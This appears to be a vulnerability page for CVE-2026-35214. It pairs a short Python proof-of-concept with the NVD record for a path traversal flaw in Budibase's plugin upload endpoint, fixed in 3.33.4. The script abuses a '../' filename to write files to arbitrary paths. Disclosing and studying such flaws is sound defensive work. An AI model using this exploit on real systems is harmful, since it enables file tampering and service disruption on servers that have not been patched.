CVE-2026-35214

import requests # Target URL for the vulnerable endpoint target_url = "http://vulnerable-host:10000/api/plugin/upload" # The attacker needs a valid session cookie with Global Builder privileges cookies = { "budibase:auth": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." } # Prepare a malicious tar.gz file containing the payload # The filename includes '../' to traverse directories files = { 'file': ('../../tmp/evil_payload.tar.gz', open('evil_payload.tar.gz', 'rb'), 'application/gzip') } # Send the POST request to upload the plugin response = requests.post(target_url, files=files, cookies=cookies) # Check the response if response.status_code == 200: print("[+] Exploit successful! File written to arbitrary path.") else: print(f"[-] Exploit failed. Status code: {response.status_code}") print(response.text)

{"cve": {"id": "CVE-2026-35214", "sourceIdentifier": "[email protected]", "published": "2026-04-03T16:16:41.607", "lastModified": "2026-04-08T21:19:13.480", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Budibase is an open-source low-code platform. Prior to version 3.33.4, the plugin file upload endpoint (POST /api/plugin/upload) passes the user-supplied filename directly to createTempFolder() without sanitizing path traversal sequences. An attacker with Global Builder privileges can craft a multipart upload with a filename containing ../ to delete arbitrary directories via rmSync and write arbitrary files via tarball extraction to any filesystem path the Node.js process can access. This issue has been patched in version 3.33.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:H/A:H", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.3, "impactScore": 5.8}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:budibase:budibase:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.33.4", "matchCriteriaId": "B316A29C-7C2F-4102-ACF6-DDB06B3D0AD5"}]}]}], "references": [{"url": "https://github.com/Budibase/budibase/commit/6344d06d703660fd05995e61d581593c2349c879", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/Budibase/budibase/pull/18240", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/Budibase/budibase/releases/tag/3.33.4", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/Budibase/budibase/security/advisories/GHSA-2wfh-rcwf-wh23", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/Budibase/budibase/security/advisories/GHSA-2wfh-rcwf-wh23", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}